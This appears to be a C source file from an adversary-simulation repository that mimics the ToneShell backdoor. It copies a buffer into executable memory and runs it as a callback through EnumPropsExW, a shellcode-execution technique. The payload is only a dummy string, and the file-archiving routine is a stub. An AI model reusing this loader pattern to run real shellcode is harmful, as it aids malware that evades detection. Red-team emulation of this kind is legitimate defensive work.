mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
113 lines
3.3 KiB
C
113 lines
3.3 KiB
C
// ToneShell Backdoor initializes data and dynamically allocates memory for a function pointer (PROPENUMPROCEXW), using it to enumerate window properties. It includes functions for dummy data handling, debug message output, and simulating file archiving with a password (without actual implementation). Key operations include:
|
|
|
|
// 1.Data Handling: Obtains and processes dummy data.
|
|
// 2.Memory Management: Allocates memory for executing function pointers.
|
|
// 3.Window Enumeration: Uses EnumPropsExW() to list window properties.
|
|
// 4.Debugging: Outputs static messages for diagnostics.
|
|
|
|
// Автор: S3N4T0R
|
|
// Дата: 2024-9-12
|
|
|
|
// manual compile: x86_64-w64-mingw32-gcc -o ToneShellBackdoor.exe ToneShellBackdoor.c -lwinhttp
|
|
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
// Function prototypes
|
|
void ValidateAndProcessData(void **dataBuffer, SIZE_T *dataSize);
|
|
void DisplayTimedDebugMessages(void);
|
|
void ArchiveFilesWithPassword(const char *password);
|
|
|
|
// Function to set up and enumerate window properties
|
|
void SetupAndEnumWindowProps(void)
|
|
{
|
|
SIZE_T size;
|
|
PROPENUMPROCEXW enumFunc;
|
|
HWND hWnd;
|
|
void *dataBuffer;
|
|
SIZE_T dataSize;
|
|
|
|
// Initialize variables
|
|
dataBuffer = NULL;
|
|
dataSize = 0;
|
|
|
|
// Validate and process data
|
|
ValidateAndProcessData(&dataBuffer, &dataSize);
|
|
|
|
printf("Start...buitengebieden\n");
|
|
|
|
DisplayTimedDebugMessages();
|
|
|
|
printf("ZackAllen......techyteachme Ok\n");
|
|
|
|
size = dataSize;
|
|
|
|
// Allocate memory for the function
|
|
enumFunc = (PROPENUMPROCEXW) VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
if (enumFunc == NULL) {
|
|
fprintf(stderr, "Memory allocation failed.\n");
|
|
return;
|
|
}
|
|
|
|
// Copy data to allocated memory
|
|
memcpy(enumFunc, dataBuffer, size);
|
|
|
|
// Get the top-level window
|
|
hWnd = GetTopWindow(NULL);
|
|
|
|
if (hWnd == NULL) {
|
|
fprintf(stderr, "Failed to get the top-level window.\n");
|
|
VirtualFree(enumFunc, 0, MEM_RELEASE);
|
|
return;
|
|
}
|
|
|
|
// Enumerate properties
|
|
if (!EnumPropsExW(hWnd, enumFunc, 0)) {
|
|
fprintf(stderr, "EnumPropsExW failed.\n");
|
|
}
|
|
|
|
// Clean up
|
|
VirtualFree(enumFunc, 0, MEM_RELEASE);
|
|
}
|
|
|
|
// Placeholder for ValidateAndProcessData function
|
|
void ValidateAndProcessData(void **dataBuffer, SIZE_T *dataSize)
|
|
{
|
|
// Simulate some dummy data for demonstration
|
|
static char dummyData[] = "DummyFunctionData";
|
|
*dataBuffer = (void *)dummyData;
|
|
*dataSize = sizeof(dummyData);
|
|
}
|
|
|
|
// Placeholder for DisplayTimedDebugMessages function
|
|
void DisplayTimedDebugMessages(void)
|
|
{
|
|
// Simulate displaying debug messages
|
|
printf("Debug message: Timed debug output.\n");
|
|
}
|
|
|
|
// Function to archive files with a password (stub)
|
|
void ArchiveFilesWithPassword(const char *password)
|
|
{
|
|
// Simulate the logic for archiving files with a password
|
|
// In a real implementation, you would use a library to create and protect RAR files
|
|
printf("Archiving files with password: %s\n", password);
|
|
}
|
|
|
|
// Main entry point
|
|
int main(void)
|
|
{
|
|
// Example password for the RAR archive
|
|
const char *password = "Pa$$w0rd1234"; // 13-character example password
|
|
|
|
// Run the setup and enumeration function
|
|
SetupAndEnumWindowProps();
|
|
|
|
// Archive files with the specified password
|
|
ArchiveFilesWithPassword(password);
|
|
|
|
return 0;
|
|
}
|
|
|